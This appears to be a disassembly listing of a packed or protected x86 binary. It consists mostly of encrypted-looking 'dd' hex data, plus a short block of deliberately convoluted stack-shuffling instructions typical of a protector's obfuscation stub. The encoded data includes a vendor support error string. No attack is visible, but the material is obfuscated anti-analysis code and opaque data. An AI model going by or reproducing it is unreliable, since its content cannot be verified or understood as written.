		dd 2F6EDDA2h, 0DBA1EEF1h, 6DD63360h, 3AEE5820h,	223468FAh
		dd 8885E231h, 81083906h, 0A5695C6h, 0E795E2C7h,	0B0EC0F5Ch
		dd 3AB84516h, 0EB9AA4Fh, 3CEE14F2h, 977089C8h, 0EA949342h
		dd 4F90CC4Ch, 0E8013A42h, 1B2BD11Fh, 558B78AFh,	14716430h
		dd 0B0910368h, 0F92A1563h, 1CF8009Ch, 9E1DC341h, 0C038015Fh
		dd 0ED951864h, 0C3D77354h, 0A72507B9h, 0BAFC68DEh, 5D2F107Bh
		dd 39E22D58h, 579634F6h, 0A7A0E906h, 0D513DE76h, 0F5122D5Fh
		dd 4CC1C90h, 3021C341h,	281F38FBh, 3CB9F85Eh, 0FA540758h
		dd 0DF005C92h, 4C91AAD2h, 0EB0C5300h, 45028986h, 0FD8FD510h
		dd 0CD6320A2h, 57F48693h, 80B9E706h, 0AFDDC22Dh, 602A4794h
		dd 38986E3h, 0EFAA682h,	3669C97Bh, 439AC6E5h, 1467B495h
		dd 0C5C9E637h, 0D7165586h, 0C448A089h, 0ACE40203h, 0E4383B8Eh
		dd 7D94AFDDh, 0AEFF4834h, 96EB5AEh, 85677C93h, 0ADCAE1C3h
		dd 46499AD4h, 0CC01C239h, 462BD0B3h, 0B5DE0259h, 1647008Ch
		dd 85D83646h, 0BD3B36A7h, 0C32A1567h, 69D6B9F6h, 9EDBF924h
		dd 0FB3851EAh, 596CB08Fh, 88DD6A14h, 0AC88E069h, 70863DCh
		dd 6885D671h, 0B8F52621h, 361565D4h, 5687C6E5h,	9BC87319h
		dd 9195D35Ch, 4AEA0EEBh, 0A5EA053Eh, 0D93B68D3h, 0E884E52Ah
		dd 0E9A7A2B3h, 70C409A4h, 1CE56781h, 1F0612EAh,	0B2FF25C0h
		dd 5127DC6h, 6ABB8408h,	0A0EC154Bh, 533976A7h, 76A992E6h
		dd 909D0225h, 1E2D5EEFh, 40B881DFh, 0E535E7CCh,	0F8E1DB71h
		dd 208BB493h, 7CC7B5FCh, 918CC115h, 4229AB12h, 0F1000000h
		dd 15460177h, 0BC9217F0h, 5F97D7C4h, 0ACCF1C2Bh, 2E25376Dh
		dd 0C71488E1h, 284918F1h, 746018Bh, 0FA8E8BECh,	0C3023D4Fh
		dd 360D5392h, 22h, 4A3F7CA1h, 811B2FF1h, 0B1FE4118h, 0E63A7DCAh
		dd 4601774Eh, 0B7FCF715h, 51D5DA52h, 0F3BA4918h, 6D30298h
		dd 6186CD86h, 1828708Bh, 8C604549h, 4118087Ch, 4BC61A91h
		dd 5F201D6Eh, 3170B3E0h, 7A8E1CFEh, 479C8577h, 717E8A62h
		dd 1693BDEFh, 69B4D962h, 0F3E0EA36h, 26D14BACh,	17B3CD62h
		dd 0C988A11Eh, 9BDA4462h, 0A590A4Ah, 6FDEA0EDh,	0BDEE211Ah
		dd 0CA2F227Eh, 0F5E337E5h, 811647CDh, 0CDF5DFEBh, 387B3247h
		dd 0FFC142E4h, 0EFCE49EFh, 44FF8D8Ah, 1598E42Dh, 0E590BF4Ah
		dd 0FE88CB0Dh, 0F4C5A883h, 242DDEEh, 64000013h,	0DAC72E19h
		dd 367B92B1h, 0AE93FA49h, 180960DBh, 48BEC976h,	201F6FA8h
		dd 95B2D8C9h, 0F843357Ah, 63DCA091h, 0E4B8C108h, 411F5ED4h
		dd 0E88D9539h, 473A3AC0h, 0D4A4F9EAh, 0B8FB3A6Bh, 2046CD5Fh
		dd 6A574918h, 82E72625h, 0D1380375h, 7EAF98E0h,	46D64B31h
		dd 41181732h, 0E595D4E7h, 0F5BD947Eh, 9AB38E9Fh, 0C000012h
		dd 62AFC681h, 0DEC32A19h, 367B92B1h, 0A091F843h, 200661DEh
		dd 0B887F740h, 2D1A6051h, 90ABDDC2h, 0FB444879h, 9C106990h
		dd 411F5E4Ch, 5835EDA1h, 690364ABh, 491821BAh, 0BE3A9273h
		dd 3445569Ah, 47431E8h,	88CBEA3Bh, 0EA59226Fh, 5EED9E83h
		dd 0A39CE00Dh, 0D117DA72h, 0F01B2853h, 6D52C76Bh, 18F56BBFh
		dd 5B218E41h, 3170B3E0h, 0B7F8E9E3h, 0DAA5F2D7h, 0A7FD386Dh
		dd 152F19Ah, 18F52073h,	0F008E541h, 91F84734h, 3F6CDBA0h
		dd 80D926DDh, 0E4380773h, 0DDD427F5h, 48B94F3Fh, 61747250h
		dd 23448732h, 729DA6D6h, 0D7043F4Dh, 1871BEB5h,	55A94284h
		dd 0BBDCDF45h, 0D8F0E7Eh, 0BDB5BF4Ah, 0BEE30A4Dh, 0B31475CEh
		dd 5219CFF7h, 0D7F62A7Ch, 281365B2h, 0CD5FB8FBh, 55543EBDh
		dd 0D5075D50h, 9EA9DF1Eh, 6CD53A5Fh, 0AEBF4ED3h, 7404C1Dh
		dd 89CE98C4h, 565B766Dh, 0CB33659h, 0B4D8061Eh,	0AE7E9BDAh
		dd 5FAA049Ah, 29E03C7Fh, 8165F482h, 0A7F0E34Fh,	118058h
		dd 0A09BE200h, 14335849h, 7CCBB4FDh, 0E25D2C15h, 4BF8868Bh
		dd 0ED26C620h, 464BA2A1h, 0B3FC1734h, 2E137AC5h, 438AE55Eh
		dd 5D526636h, 13C7411Fh, 3BCBE813h, 0BCCC473Ah,	3E43E839h
		dd 90D3B441h, 9D6C6779h, 8691E35Bh, 0D2377615h,	1DB3505Ah
		dd 16302149h, 33CE022Dh, 851622FAh, 0B0FB411Fh,	0DCD93E71h
		dd 0A17D94B3h, 73CFE79Ah, 18FF252h, 58580000h, 0F70465ACh
		dd 0C599C784h, 3BBACD5Fh, 8E8B473Ah, 7B0E4300h,	0C5093C0h
		dd 5FFD991Ah, 0F04B3D7Ah, 2CB710ACh, 6CA5589Dh,	0BAF72423h
		dd 0F92469D2h, 156287C6h, 0EF87DD6Ah, 0A958FA52h, 7A5FBC66h
		dd 3A3B96A2h, 0EC307B47h, 7C000D68h, 0D5392C3h,	0CFF79A71h
		dd 46E254F3h, 28000000h, 0B862A558h, 0A627525Fh, 7F5BE923h
		dd 4B98DB9Dh, 37E5F428h, 473A1EE4h, 5FF8A209h, 2A525FC7h
		dd 711BCC11h, 94C5F37Fh, 436EB2F5h, 19EA0F3Ch, 7D7CDAE6h
		dd 0B9558B70h, 9EEA27B2h, 0A5A77FA5h, 3Bh, 62A55889h, 2D525FB8h
		dd 1D8FC21Eh, 473A3BCAh, 5FD38B2Ch, 0A27A5FC7h,	473A3B96h
		dd 0C5EC307Bh, 5FD18DBAh, 67A52C52h, 0C0F99507h, 2A499ADDh
		dd 720B5FCDh, 0CFEE473Ah, 5F75AD91h, 36B346E6h,	74FE629Eh
		dd 4C8A346Ah, 0DAA4ED2Ch, 7AE7376Dh, 5F54F37Ah,	4Ch, 66A958C7h
		dd 0BC8BF401h, 7C104C6Fh, 1326525Fh, 688BD867h,	36E6EB29h
		dd 473A3BE5h, 5FFBA30Ah, 610477C7h, 3A3B7F8Bh, 6A159247h
		dd 2A6D88DDh, 9AB233EBh, 56A5h,	0EACF3400h, 3A3BE632h
		dd 0F0A00B47h, 473A3BA8h, 62326E4Dh, 0BC66A958h, 0D893E65Fh
		dd 0E59EA9DFh, 4B34FDFAh, 4D8CAFFCh, 249DC217h,	0D35EC322h
		dd 29F321B6h, 473A8406h, 55A2C7F8h, 0ABCA1B24h,	7A5FD975h
		dd 3A3B96A2h, 40FF8B47h, 7160BCFFh, 470477B1h, 0A59AB29Fh
		dd 0FFFFFE68h, 64AB5889h, 13A66903h, 424F491Dh,	2474283Dh
		dd 0C9411F62h, 3372A3E2h, 60B58EFEh, 8B221F45h,	7F0C096Eh
		dd 27559CC0h, 266D42A6h, 1FCC2276h, 1FE4D741h, 5C955CBDh
		dd 0B9D0132Ch, 562A9A7h, 1F5D4397h, 0E207B641h,	2553EA95h
		dd 6B8ADB1Ah, 2A441035h, 0F4411F5Dh, 0A9A4EB0Dh, 0C4BCE71h
		dd 35h,	251E6AA7h, 0D76FB5F0h, 3A3BC4E8h, 108CF147h, 473A3BC8h
		dd 17528E2Dh, 11B3DA65h, 473A3BCEh, 0C8B203F0h,	4DDF387Bh
		dd 491852F6h, 66FD14A7h, 0B6h, 42AB58CCh, 3A3B9EAAh, 73827347h
		dd 0CADCC3DCh, 8DEA2D6Ch, 18C0841Fh, 25426949h,	7481A0E8h
		dd 40683807h, 0B54118C0h, 63ACC706h, 9BF92A15h,	0AE7E9BE8h
		dd 4F3FE855h, 6DC9C93Ah, 8C5E74FFh, 99EF2C4Dh, 2E5A47AEh
		dd 0CF84C015h, 0E6B56780h, 1745556Ch, 8CDEEA82h, 0BA775557h
		dd 36885C0Eh
		dd 54A61DEh, 5D98CD7Ah,	0CCB0FD1Ah, 463F1873h, 0CC0F1F2Fh
		dd 5198C402h, 0ED66102Bh, 8E972B5h, 0E63203Fh, 0B8C50000h
		dd 503B648Fh, 0E89798F3h, 7A0F305Bh, 1579A6C1h,	9EBDF36h
		dd 6681BEC0h, 9BF25139h, 0E59E296h, 0A9C07B01h,	3743D9BEh
		dd 0DA411F52h, 577EC34h, 3D64DD3Ah, 3B047514h, 0E5276142h
		dd 4665B695h, 82C1CA07h, 9AE20F5Eh, 4B3F7CA1h, 0FC82AFFCh
		dd 8F6A1E4Fh, 8986C569h, 7CC7B56Fh, 5266361Bh, 0C7473A94h
		dd 97A7A8F4h, 51F328DAh, 27FFh,	0AB582700h, 0EE690364h
		dd 5F491828h, 9AE20F5Ch, 335946A1h, 0CAB9DB08h,	64176485h
		dd 0C458B9E7h, 4F3A26FBh, 24FE09A4h, 2C470477h,	0DAA598E3h
		dd 0EB54246Dh, 0B26A4FA8h, 473A3B66h, 0A9FC208Bh, 3A3BC21Bh
		dd 0B4ADDB47h, 3A3BD0F8h, 37764547h, 0B807FCDCh, 4B3D7A5Fh
		dd 5C80A3F0h, 1D132B8Ah, 0B0C9E449h, 5F337DD7h,	0F68012E6h
		dd 11BD4266h, 81D00C4Fh, 32860B74h, 64E68A77h, 0D04AA5E4h
		dd 392C525Fh, 3A3B5763h, 0B0F3BA47h, 53E4E63h, 0C3BE9EC2h
		dd 165273CFh, 153h, 65AC583Ch, 0BACD5FB9h, 5C473A3Bh, 7A5F835Bh
		dd 0ACF04B3Dh, 202CB710h, 0DDE11B67h, 0EB29F0DDh, 28525F5Bh
		dd 0DA93C51Bh, 54277495h, 5987A6F7h, 29525F85h,	76AAC91Ah
		dd 0A958B66Eh, 42DABC66h, 1B28525Fh, 0D02C51C5h, 286554F3h
		dd 69B4D966h, 31EA2Bh, 58300000h, 5FB862A5h, 3A3BBACDh
		dd 82585347h, 4D3D7A5Fh, 7712A2FEh, 0D1DE3B08h,	2A499AA9h
		dd 0E65F5EF6h, 74BE53BEh, 52D20EF0h, 32A5BAh, 58890000h
		dd 5FB862A5h, 0C51B2852h, 3BF71894h, 9417473Ah,	897A5FCEh
		dd 0C60D6E2h, 92BE85Eh,	0C3259865h, 7709A5FBh, 5F633B08h
		dd 0CA1B2852h, 518975ABh, 0F3CFF79Ah, 99E12E54h, 396AD5A4h
		dd 456ABBFAh, 8BC90833h, 528Ah,	0A9589000h, 7A5FBC66h
		dd 623CE489h, 854C706h,	3A742D7Eh, 77A91A47h, 110B8D7Eh
		dd 0A03B4FDDh, 0DFDE473Ah, 0E2C9409Ch, 60018885h, 3AA07C8Ch
		dd 0DB1A9147h, 0C75FE985h, 22470477h, 3B1B2FFDh, 0BFFE473Ah
		dd 0EF3C0772h, 0B2FC90CCh, 2BA59Ah, 58890000h, 0C627DCA9h
		dd 473EC3CBh, 0E296E304h, 0ABE93459h, 0BACD5F1Bh, 5C473A3Bh
		dd 0C75F835Bh, 9F470477h, 112A525Fh, 0F373A1CCh, 0FE92A55Bh
		dd 5889FFFFh, 0F60364ABh, 5695C685h, 0E255C70Ah, 0CB491D13h
		dd 7FC1675Ah, 86CBEFB7h, 0ED0A4DF6h, 0FEDE3F88h, 5F52E1C8h
		dd 6656623Ah, 0F0BB411Fh, 4CF785ACh, 0D61DD325h, 66AFFBB1h
		dd 6B42411Fh, 66406A3Ah, 0CFA2411Fh, 304E6876h,	376DD1C3h
		dd 0E69BAECAh, 0F34BCE7Bh, 21h,	0B6C081E6h, 9C52825Dh
		dd 1E608858h, 2695411Fh, 0C4E82AFAh, 0D9473A3Bh, 0E26188B3h
		dd 9Fh,	64AB5850h, 4E426903h, 0F8B34918h, 5DE6929Fh, 0C07B0D32h
		dd 3D827193h, 0EF340DCh, 8B7C4F3Fh, 3818F3Fh, 5CD50B37h
		dd 8DFB3851h, 22565BB2h, 0DB88F419h, 12B97394h,	3455AB5h
		dd 3A424FA8h, 2A257527h, 5FC85557h, 0C2A545C3h,	438200h
		dd 0F88390E9h, 85DB1A4Bh, 9B11107Ch, 5557B34Fh,	3EC80BA2h
		dd 0E9723B1Bh, 1AEA7546h, 8C00000Bh, 0E22F4601h, 5E43AA99h
		dd 0B6FB1231h, 201178C3h, 0A086E15Eh, 380777C0h, 0AD9AE0D1h
		dd 102B5D42h, 7BC4C8F9h, 1C90E910h, 411F57CCh, 77B56D21h
		dd 78801C05h, 9D473A3Bh, 618EDF1Eh, 0B4F3201Bh,	0EACF3DBBh
		dd 3A3BE632h, 7CA00B47h, 8CF24735h, 0C4F6EBFh, 0D81C51E5h
		dd 31B951F3h, 61000000h, 364AB58h, 0CBB489F6h, 0CDE83D7Ch
		dd 101D4297h, 0F882DE69h, 49183C1Fh, 3378AD00h,	0AA97FE49h
		dd 0C83459E2h, 0F9B3D41Bh, 4F3A5ED2h, 85016843h, 96A27A5Fh
		dd 7B473A3Bh, 0A2F3503Eh, 0D51C4083h, 0DE4E99A6h, 473A3B81h
		dd 3E49F286h, 0B9DE25DEh, 3BB0D854h, 5665473Ah,	5355C70Ah
		dd 4E491D13h, 820D0A6Fh, 9AF0AAC5h, 5273CFE7h, 17FF2h
		dd 7380E500h, 0CBEA3B08h, 0BA3BF119h, 0A0332447h, 2E59F256h
		dd 401C4083h, 8ADFAC58h, 60A5C04h, 5F411D5Ch, 3A3BBACDh
		dd 13A8B47h, 0DFF82112h, 0DAE98C4h, 0B7C75F51h,	0A5589D2Ch
		dd 0FA52B862h, 0BC66A958h, 0E65F42DAh, 27FFB0FFh, 31E53BEEh
		dd 54F3574Ch, 0A807FC45h, 2EF96AABh, 70AC97E1h,	3FADh
		dd 0A5587500h, 0CD5FB862h, 473A3BBAh, 5F825853h, 7387157Ah
		dd 0A6473A3Bh, 5F35C917h, 66132652h, 3B469ADDh,	0B22FF754h
		dd 5E65F9Ah, 67B369E7h,	8A473AD4h, 0EFB5A23h, 4C340351h
		dd 1E000000h, 0B3FAE65Fh, 57A8E1Eh, 1C9F473Ah, 9EAC5267h
		dd 12550842h, 3D7A5F48h, 0C7B1FE4Dh, 7586207Ch,	42473A3Bh
		dd 88F64335h, 84B6ABBh,	855152D4h, 112A525Fh, 1E73A1CCh
		dd 81087784h, 8A49B7EBh, 1BC302C8h, 1A29525Fh, 9AA67EC6h
		dd 54F3CFF7h, 0F36B552Eh, 0FD88D171h, 3F7EA7h, 58A40000h
		dd 0F40166A9h, 4D68BD8Ah, 0E65F7F17h, 2C822FFAh, 0EFE23E4Bh
		dd 3AEDEA3Dh, 0F2A80347h, 0EADDE65Fh, 45F0719Dh, 7728FA1Fh
		dd 0B29F4704h, 0ACA1EA27h, 0F32063DCh, 0A5D06CB0h, 31h
		dd 28525F89h, 0B4D96615h, 0E0EA3669h, 5FF4AEF1h, 1209897Ah
		dd 3E3888BFh, 3AF85A6Eh, 0BDFCBF47h, 0F8B2C567h, 5354473Ah
		dd 77C75F8Bh, 0B29F4704h, 0FE81A59Ah, 5334FFFFh, 5EF756DDh
		dd 865E823Dh, 364AB58h,	1D13A669h, 0C3249749h, 127DC6B6h
		dd 7F094E02h, 3F6485C4h, 1F625D6Dh, 0A7FDB041h,	62AEFAB2h
		dd 6843411Fh, 625F693Bh, 3D42411Fh, 0EC90DD0Eh,	6AE70253h
		dd 4D34180Eh, 20FC212Bh, 411F6218h, 0AA62BEFDh,	4BCE7EB7h
		dd 2C02h, 8CCB500h, 0C48EC40Ch,	0E838D408h, 473A3BC4h
		dd 0F68B10F1h, 0AF6C33CFh, 0FB444871h, 0CAA28790h, 473A4DBEh
		dd 2F045853h, 0A9h, 64AB5817h, 351A6903h, 0A00B4918h, 65156247h
		dd 2A76B5E6h, 0A7CE790Fh, 0F8DEF152h, 73D3D5B4h, 7174042Dh
		dd 0EAD75B41h, 761956AAh, 265984C9h, 97DC97F5h,	0A0B9BA72h
		dd 67564F3Fh, 0AED0DD02h, 52264391h, 0E7919EE9h, 16CD0F5Ch
		dd 2FFCB0C9h, 0C0455501h, 0FD8F8CEDh, 0C504434Ch, 221765AAh
		dd 57BCE15Ah, 5766B5C5h, 12555855h, 661827D3h, 94A5E972h
		dd 7D495h, 0FC473600h, 60DFAC95h, 0C8771809h, 3E0970A1h
		dd 0A7A4EAD7h, 317A7A4Ch, 0AA97FE4Dh, 70863E0h,	72BFD671h
		dd 2FD6310Ah, 4B86D24Ah, 0A76B411Fh, 8005777Fh,	281D8899h
		dd 68BDFC37h, 0DD0E3943h, 0D95B9D9Ah, 0DD6188B3h, 51F31AA0h
		dd 3435h, 7A5F1D00h, 3A3B96A2h,	513E7B47h, 6B6DB3F2h, 5ECE2B78h
		dd 4918370Dh, 3A2671E2h, 34D902ECh, 0C014A0F5h,	3E411858h
		dd 5F1235B3h, 7A4BD178h, 4Dh, 0A7E65FA0h, 4B5D57E8h, 867D9FC5h
		dd 0F34C2039h, 9C491802h, 0DDAFCC11h, 76060B62h, 196FACCDh
		dd 62BEFD2Eh, 43D93E5Bh, 41185537h, 4B8DD3DAh, 0C92E4B98h
		dd 55E008E4h, 0A6154118h, 5BC3A07Ah, 63D44F3Ah,	4B395637h
		dd 49A0E39Fh, 8FE65FCDh, 93B0DB30h, 0DB5A2342h,	62E33151h
		dd 0E7A251B3h, 9BBA22C0h, 75851779h, 98473ABFh,	7693D215h
		dd 0CC7B0411h, 0ACADF690h, 55524918h, 38DA1D2Ah, 0CEB6FF6Ah
		dd 8FD48F80h, 6558996Ah, 0CC67D68Eh, 1B48F783h,	705584D8h
		dd 2276260Bh, 0D781A3C9h, 0C9E434E4h, 0A20981A3h, 0DA33AC7Eh
		dd 9F1C8F81h, 0CC1150EFh, 6B8CD380h, 0A4179EB1h, 0DB3C7F85h
		dd 0CF1B91F6h, 2295E45Bh
		dd 602C558Bh, 0F9838CE7h, 6381B84Eh, 0C3DC2901h, 6747Ch
		dd 9CA7D600h, 3F4C75h, 68D7B8E9h, 0DE691001h, 47048AB7h
		dd 0D11ADA2Ch, 4A779EADh, 0A7E80340h, 121F76D1h, 4FB6D16Ah
		dd 4A26722Ah, 7CB411Fh,	3A05771Fh, 1424F8DDh, 0F9473A3Bh
		dd 3E0D7DB2h, 0E996DBE2h, 62172654h, 3669B4D9h,	0C7BC9CF7h
		dd 6D121F78h, 1A608DDEh, 0A3B6EA2Dh, 1D1376C9h,	73942749h
		dd 0B9EA5926h, 62B8C05Ch, 5E5D411Fh, 77A4C11Fh,	6C4F3B08h
		dd 0F9F5BA6Ah, 5F351A8h, 28550000h, 0C0CBF41Fh,	58276883h
		dd 0EA9F80EBh, 85093651h, 995BAFC6h, 0F6112E50h, 6B82C1C9h
		dd 9EE95226h, 3950EB91h, 0A7F3A9CEh, 4A411F49h,	0AB589C84h
		dd 0D1DE0364h, 0A6409CA7h, 491D1359h, 0F13E6F4Eh, 0DCC9B18Eh
		dd 61F5BA69h, 5A3C950h,	78050000h, 107BA4CFh, 0A8D7D833h
		dd 3A4F709Bh, 0D5B9E601h, 492B1F76h, 0A6C17E00h, 0DB321179h
		dd 4E99A2D6h, 0E9003B41h, 7783197Eh, 9A411F49h,	0AB582CF4h
		dd 8E690364h, 7F491D13h, 0ADEAEF3Ch, 85D547DEh,	68411F63h
		dd 92D10245h, 0EF5C234Eh, 0BA6B041Bh, 0B18899F5h, 549h
		dd 1E69D2BBh, 0B2DD6A11h, 2A45028Dh, 40AB94E5h,	0F9102F5Fh
		dd 0D8A6EFF1h, 6B1F006Bh, 0FC8CB5DCh, 95E72843h, 0FF9843AAh
		dd 1F491D2Dh, 0CA5AF041h, 0E93A0577h, 6FDCAFECh, 0BB840831h
		dd 0B69BFE6Ah, 3A3BD2E6h, 0E55F0347h, 0D3926BD1h, 3872F56Eh
		dd 8088CE28h, 0D2161341h, 0F04B3D7Ah, 6CFB80A3h, 0F3EC36AAh
		dd 5D2F4A96h, 0F6868BE2h, 3B4C184Dh, 0FC473AC7h, 2E13F97Fh
		dd 3AC72A7Eh, 0B0ECCF47h, 2A820389h, 6D7E8A3Fh,	0E9FB877Ch
		dd 4B870BDh, 404DAAC5h,	0CC7B0F3Eh, 622A578Dh, 1567B4D9h
		dd 2F1C32Ah, 63C05CBDh,	34491880h, 613B6079h, 4118F759h
		dd 0D005424Ch, 0D301AC95h, 0F7AAFA8Ah, 0C7B74118h, 76062B78h
		dd 1E898CDh, 63B765E7h,	964118F7h, 8148E427h, 0E3A8E567h
		dd 0A8F43764h, 0D10BF16Ch, 0D623084Bh, 0A2F6A6A5h, 0A74118FFh
		dd 0E5C869D2h, 3B96BFh,	0F4010000h, 7FC2BB84h, 0D796B770h
		dd 584EE63Ah, 27246AABh, 0E6E983E4h, 57491841h,	51653764h
		dd 4C411831h, 9DD2033Ch, 540C51EEh, 79D75B9Dh, 1C5178F0h
		dd 0B94BD1D2h, 0D4h, 3A057761h,	9FA8D0DDh, 3B96A27Ah, 307B473Ah
		dd 7FBCD9ECh, 0C1EC310Ah, 1B285693h, 6CD7A5CAh,	0B18AF23Fh
		dd 37E7F656h, 1478473Ah, 3E4B9F0Dh, 0FAE473Ah, 107CA5CCh
		dd 0EDE6E637h, 0C0AB41A6h, 0CD491838h, 0BEB587EEh, 0E6331871h
		dd 4766B794h, 9FC57E0Ah, 3C6F89CDh, 305F5C4Fh, 6EA3C213h
		dd 0BFFE2F1Ch, 0E405A861h, 3F58E797h, 43447B46h, 0E3317DA9h
		dd 0CACFBFE0h, 0AF7DD245h, 0F284C7E4h, 0EF995413h, 8AF24D5Eh
		dd 0FC000003h, 525FB691h, 0CEF31A29h, 266B82C1h, 9081E853h
		dd 303651EEh, 0A897E730h, 1D2A5041h, 80BBCDF2h,	0EB543869h
		dd 6C005980h, 411F4F5Ch, 5F051DB1h, 963FE6E6h, 28442114h
		dd 569F1490h, 0DF1A4679h, 487990AFh, 3A90FB44h,	364AB58h
		dd 18416669h, 0B7E4D749h, 6BBF6D52h, 8E411831h,	757F12Fh
		dd 0F9411831h, 9CD1F870h, 394BD1D1h, 0B4h, 3A0577E1h, 8DBAC4E9h
		dd 4595076Ch, 0A8473A3Bh, 498EDF05h, 0D3003F4Ch, 2BBA4C90h
		dd 34473A37h, 0AB94FF48h, 9CAC40E1h, 71473A3Fh,	919EFB3Ah
		dd 0FB025EEDh, 44A5EA99h, 3F7D8D1Fh, 1D90473Ah,	911A92C7h
		dd 7E491839h, 0FC4D43Fh, 72F5A7C0h, 1B4F3CBDh, 543A7790h
		dd 56BB9CF7h, 7CF4B2C6h, 3354674Bh, 7CF45179h, 0ABE9C44Bh
		dd 0B743008Eh, 0EF98F4CCh, 9EA1B889h, 2, 66ABC27Dh, 0D2DF3615h
		dd 4A779EADh, 0A4ED043Fh, 24026DDAh, 0C4830B44h, 291664ADh
		dd 9CA7D1DEh, 7404C75h,	981465ECh, 411F4E70h, 7731F1A5h
		dd 0E0D13807h, 0D248A39Ch, 1D26525Fh, 4A77ADC8h, 3D4DDF42h
		dd 8473A3Bh, 3A3B4494h,	3D02A947h, 0ABE697C4h, 0EF2E136Ah
		dd 4A327FACh, 0CD8696F1h, 0A7BCCCA0h, 5A51473Ah, 0B499FE1Bh
		dd 3AA7D0F8h, 7AC9B547h, 0A897F8C5h, 0DBF9387Bh, 18ABFE01h
		dd 4F9C1F49h, 0C58EB90Ah, 748FE894h, 8EC51A59h,	89D7169Ch
		dd 181CAFFFh, 87405141h, 0E4E0C356h, 0BF62ADEh,	70A7DAEDh
		dd 40324BD1h, 18000000h, 364AB58h, 18528A69h, 857EA349h
		dd 535689E8h, 0DBEFB1CDh, 3E4118ECh, 0CBE8217Fh, 134083C0h
		dd 18EC3D41h, 0E35C2041h, 3E0D7DB2h, 266E3EDh, 1F59002Ch
		dd 0D10475E8h, 18404Bh,	0E8CE0000h, 473A3BC7h, 52B7FCF7h
		dd 1815A1DAh, 0C42F8E49h, 6DD6A6F3h, 7A5F9F37h,	2EFE4D3Dh
		dd 473A3B1Ah, 7660BCFFh, 5BD1367Dh, 49183BFCh, 0FB89DAD1h
		dd 41183AABh, 54CAC55h,	4BD1D648h, 1D6Dh, 0C4E8B500h, 0F6473A3Bh
		dd 0DB51B6FDh, 491815A0h, 0F2C72E8Dh, 386DDAA5h, 78BB88F3h
		dd 0AB588824h, 86690364h, 77491D13h, 5FE2344h, 9B1A10A4h
		dd 6237149h, 55A2CD76h,	231DAECh, 0C235CE7Dh, 0F33E6272h
		dd 5C59BE89h, 0BECF1532h, 395EA55Eh, 23252748h,	0C917D743h
		dd 4CF21488h, 0F66F4F38h, 6F252175h, 93F437C9h,	224DF686h
		dd 53B48FFDh, 0D90A3946h, 2227469Ah, 489DAAD5h,	0A8EB5823h
		dd 98716274h, 692B50BFh, 0A9C9BDFh, 0A3E7877Ch,	6A4FA8EBh
		dd 701766B2h, 96068B4Bh, 4B701742h, 0A4C504B7h,	7017A0C8h
		dd 3A66554Bh, 690645D7h, 0A4174552h, 73811FD2h,	0E1122E9h
		dd 0ADh, 0BAD56E1Fh, 2E390675h,	46A19EE1h, 0FC173059h
		dd 157CCBB3h, 741A5315h, 773BCD7h, 98E0D138h, 315B44AFh
		dd 6374FF16h, 1F4C6189h, 26FE9441h, 364AB58h, 1D137B69h
		dd 0AACFEE49h, 0F7241F6Dh, 63CE1A92h, 8823411Fh, 95F20B49h
		dd 63ACFCB0h, 6A41411Fh, 7C810B36h, 76497BE5h, 5CB7F688h
		dd 0CD1E2953h, 2CB5593Fh, 2D96FB5Eh, 15B1845Bh,	9E9BB951h
		dd 89B2DA5Ah, 0F04B317Eh, 40FB8EA3h, 0CAB5C227h, 5B0D287Dh
		dd 704C600Fh, 7095CBE2h, 51D315DCh, 0E0F9102Bh,	0D5EE993h
		dd 577B2EEh, 0B8FB4434h, 3946Bh, 0CB7E0000h, 3D067773h
		dd 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h,	0CC7B0328h
		dd 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 0F368696Fh, 8900001Ah
		dd 0CA682404h, 89000051h
		db 2Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 501B2D71h
		mov	ebp, 0B60A2CF2h
		add	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		push	5A93h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		sub	dword ptr [esp], 53D5559Ah
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 53D5559Ah
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		db 58h,	10h, 0
		dd 0CBFE05F2h, 7CE6D53Ah, 783AB8E0h, 0C5030625h, 4FD9E0FFh
		dd 2F0B5560h, 0BBC13769h, 99452784h, 7B9371CFh,	0C4D65459h
		dd 0DE848F3h, 8D000000h, 82657B30h, 0E5C9D663h,	6693D529h
		dd 21B4C681h, 815A02A4h, 0EEDD55DEh, 9FC28179h,	6600006Ch
		dd 0DF09F681h, 0CE9C02Bh, 97000000h, 887F0F69h,	65FF0B7Fh
		dd 8B14721Eh, 830F023Ch, 17h, 0CE8h, 0D48B6700h, 0FBDA57D1h
		dd 0C11501B5h, 0C38166AFh, 815949C3h, 9C323BC7h, 0D6CE8141h
		dd 81195841h, 57979DEFh, 0BDB9664Bh, 57EF8156h,	8B737FA7h
		dd 0B96057F7h, 736F5D24h, 8F61F48Ah, 820F0204h,	6, 605A5060h
		dd 0FABE6161h, 835764ADh, 816602E8h, 484977E1h,	0C3816648h
		dd 0F881B53Dh, 0FFFF940Ch, 0FF89850Fh, 0E9FFFFh, 4, 33000000h
		dd 69206E41h, 7265746Eh, 206C616Eh, 65637865h, 6F697470h
		dd 636F206Eh, 65727563h, 41282064h, 65726464h, 203A7373h
		dd 78257830h, 500D0A29h, 7361656Ch, 63202C65h, 61746E6Fh
		dd 73207463h, 6F707075h, 6F407472h, 6E616572h, 6F632E73h
		dd 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
		dd 56000000h, 45000000h, 0
		dd 0E9000000h, 1266h, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 15h, 0A0C35343h, 0FF5F8AFh, 189h, 858BFC00h
		dd 6221AC9h, 11E9h, 22854700h, 0DF317A8h, 200594C8h, 0B75AD88Dh
		dd 443959B6h, 850F0424h, 0CAh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 9FC35141h, 8B42FA80h, 348B0721h
		dd 3DBD8993h, 89062224h, 22273985h, 1BD8306h, 62204h, 8C840Fh
		dd 8D890000h, 6220229h,	3AF1858Dh, 6A0622h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 3AC373C3h
